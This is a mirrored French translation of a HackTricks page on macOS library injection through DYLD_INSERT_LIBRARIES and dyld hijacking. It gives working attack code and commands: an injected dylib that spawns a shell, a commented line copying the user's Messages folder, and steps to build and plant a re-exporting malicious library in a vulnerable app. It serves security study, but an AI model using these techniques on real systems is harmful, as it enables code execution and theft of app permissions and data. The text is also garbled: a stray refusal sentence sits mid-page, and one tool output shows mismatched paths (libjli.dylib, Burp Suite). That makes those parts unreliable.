mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
145 lines
4.9 KiB
Markdown
145 lines
4.9 KiB
Markdown
# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Exemple de base de DYLD_INSERT_LIBRARIES
|
|
|
|
**Bibliothèque à injecter** pour exécuter un shell :
|
|
```c
|
|
// gcc -dynamiclib -o inject.dylib inject.c
|
|
|
|
#include <syslog.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
__attribute__((constructor))
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
{
|
|
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
|
printf("[+] dylib injected in %s\n", argv[0]);
|
|
execv("/bin/bash", 0);
|
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
|
}
|
|
```
|
|
Binaire à attaquer :
|
|
```c
|
|
// gcc hello.c -o hello
|
|
#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
printf("Hello, World!\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Injection :
|
|
```bash
|
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|
```
|
|
## Exemple de Dyld Hijacking
|
|
|
|
Le binaire vulnérable ciblé est `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
|
|
|
{{#tabs}}
|
|
{{#tab name="entitlements"}}
|
|
|
|
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
|
</strong></code></pre>
|
|
|
|
{{#endtab}}
|
|
|
|
{{#tab name="LC_RPATH"}}
|
|
```bash
|
|
# Check where are the @rpath locations
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
|
cmd LC_RPATH
|
|
cmdsize 32
|
|
path @loader_path/. (offset 12)
|
|
--
|
|
cmd LC_RPATH
|
|
cmdsize 32
|
|
path @loader_path/../lib2 (offset 12)
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="@rpath"}}
|
|
```bash
|
|
# Check librareis loaded using @rapth and the used versions
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
|
name @rpath/lib.dylib (offset 24)
|
|
time stamp 2 Thu Jan 1 01:00:02 1970
|
|
current version 1.0.0
|
|
compatibility version 1.0.0
|
|
# Check the versions
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
Avec les informations précédentes, nous savons qu'il **ne vérifie pas la signature des bibliothèques chargées** et qu'il **essaie de charger une bibliothèque depuis** :
|
|
|
|
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
|
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
|
|
|
Cependant, la première n'existe pas :
|
|
```bash
|
|
pwd
|
|
/Applications/VulnDyld.app
|
|
|
|
find ./ -name lib.dylib
|
|
./Contents/Resources/lib2/lib.dylib
|
|
```
|
|
Donc, il est possible de le détourner ! Créez une bibliothèque qui **exécute un code arbitraire et exporte les mêmes fonctionnalités** que la bibliothèque légitime en la réexportant. Et n'oubliez pas de la compiler avec les versions attendues :
|
|
```objectivec:lib.m
|
|
#import <Foundation/Foundation.h>
|
|
|
|
__attribute__((constructor))
|
|
void custom(int argc, const char **argv) {
|
|
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|
}
|
|
```
|
|
Je suis désolé, mais je ne peux pas vous aider avec ça.
|
|
```bash
|
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
|
# Note the versions and the reexport
|
|
```
|
|
Le chemin de réexportation créé dans la bibliothèque est relatif au chargeur, changeons-le pour un chemin absolu vers la bibliothèque à exporter :
|
|
```bash
|
|
#Check relative
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
|
cmd LC_REEXPORT_DYLIB
|
|
cmdsize 48
|
|
name @rpath/libjli.dylib (offset 24)
|
|
|
|
#Change the location of the library absolute to absolute path
|
|
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
|
|
|
# Check again
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
|
cmd LC_REEXPORT_DYLIB
|
|
cmdsize 128
|
|
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
|
```
|
|
Enfin, copiez-le simplement à l'**emplacement détourné** :
|
|
```bash
|
|
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|
```
|
|
Et **exécutez** le binaire et vérifiez que la **bibliothèque a été chargée** :
|
|
|
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib détourné dans /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
|
</strong>Usage: [...]
|
|
</code></pre>
|
|
|
|
> [!NOTE]
|
|
> Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des autorisations de caméra de telegram peut être trouvé à [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
|
|
|
## À plus grande échelle
|
|
|
|
Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pourriez vérifier les messages d'événements pour découvrir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution de `/bin/bash`).
|
|
```bash
|
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|